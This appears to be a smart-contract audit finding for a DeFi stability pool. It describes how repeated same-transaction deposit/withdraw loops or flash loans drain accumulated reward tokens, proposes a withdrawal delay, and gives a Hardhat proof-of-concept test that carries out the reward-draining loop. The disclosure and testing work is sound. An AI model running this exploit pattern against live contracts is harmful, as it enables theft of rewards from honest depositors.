This issue not only leads to the possibility of depositing/withdrawing in a loop, in the same transaction, to take as many rewards as it's profitable to do, but it also opens the contract to a flash loan attack since a malicious user could take a flash loan for a big amount of rTokens, deposit() them (potentially becoming the owner of a majority of the deToken() supply, used to compute the reward they will get), withdraw() and pocket the majority of the rewards accumulated till that point.
This vulnerability leads to an unstable pool due to the lack of incentives for users to keep the funds in instead of depositing and withdrawing at the best time/at all times according to the best MEV strategy.
This of course is undesirable to keep the entire protocol solvent in case of liquidations without any funds in the stability pool and punishes any user that engages with the protocol in good faith.
The easiest solution would be introducing a "withdrawal delay" after each deposit, when the target user (tracked via a mapping) is not allowed to withdraw until the period expires.
This should stabilize the supply of funds since in order to get the rewards, the liquidity provider will have to stick around a set amount of time and will block flash loan attacks altogether.
Code shows how it's possible to just deposit/withdraw without any issues and how it gives an unfair advantage in terms of rewards compared to an honest user.
import { expect } from "chai";
import hre from "hardhat";
const { ethers } = hre;
import { time } from "@nomicfoundation/hardhat-network-helpers";
import { deployContracts } from './utils/deployContracts.js';
describe('Exploit Tests', function () {
this.timeout(300000);
let contracts;
let owner, user1, user2, user3, treasury, repairFund;
const INITIAL_MINT_AMOUNT = ethers.parseEther('1000');
const HOUSE_TOKEN_ID = '1021000';
const HOUSE_PRICE = ethers.parseEther('100');
const ONE_YEAR = 365 * 24 * 3600;
const FOUR_YEARS = 4 * ONE_YEAR;
const BASIS_POINTS = 10000;
before(async function () {
[owner, user1, user2, user3, treasury, repairFund] = await ethers.getSigners();
contracts = await deployContracts(owner, user1, user2, user3);
const displayContracts = Object.fromEntries(Object.entries(contracts).map(([key, value]) => [key, value.target]));
console.log(displayContracts);
await contracts.housePrices.setHousePrice(HOUSE_TOKEN_ID, HOUSE_PRICE);
for (const user of [user1, user2, user3]) {
await contracts.crvUSD.mint(user.address, INITIAL_MINT_AMOUNT);
}
});
describe('Highs:', function () {
it('[H-09]: Minting of raac is limited but withdrawal is not via the StabilityPool', async function () {
const STABILITY_DEPOSIT = ethers.parseEther('200');
await contracts.crvUSD.connect(user1).approve(contracts.lendingPool.target, STABILITY_DEPOSIT);
await contracts.lendingPool.connect(user1).deposit(STABILITY_DEPOSIT);
await contracts.rToken.connect(user1).approve(contracts.stabilityPool.target, STABILITY_DEPOSIT);
await contracts.stabilityPool.connect(user1).deposit(STABILITY_DEPOSIT);
await contracts.crvUSD.connect(user2).approve(contracts.lendingPool.target, STABILITY_DEPOSIT);
await contracts.lendingPool.connect(user2).deposit(STABILITY_DEPOSIT);
for(let i=0;i<10;i++){
await contracts.minter.tick();
console.log("Remaining raac tokens: " + await contracts.raacToken.balanceOf(contracts.stabilityPool.target));
let user2Rtokens = await contracts.rToken.balanceOf(user2.address);
await contracts.rToken.connect(user2).approve(contracts.stabilityPool.target, user2Rtokens);
console.log("Rtokens: " + user2Rtokens);
await contracts.stabilityPool.connect(user2).deposit(user2Rtokens);
console.log("user2 raac after deposit: " + await contracts.raacToken.balanceOf(user2.address));
await contracts.stabilityPool.connect(user2).withdraw(user2Rtokens);
console.log("user2 raac after withdraw: " + await contracts.raacToken.balanceOf(user2.address) + "\n");
}
await contracts.minter.tick();
console.log("Final amount (not withdrawn yet) rewards user1: " + await contracts.stabilityPool.calculateRaacRewards(user1.address));
console.log("Final amount rewards user2: " + await contracts.raacToken.balanceOf(user2.address));
console.log("Diff = " + String(await contracts.raacToken.balanceOf(user2.address) - await contracts.stabilityPool.calculateRaacRewards(user1.address)));
});
});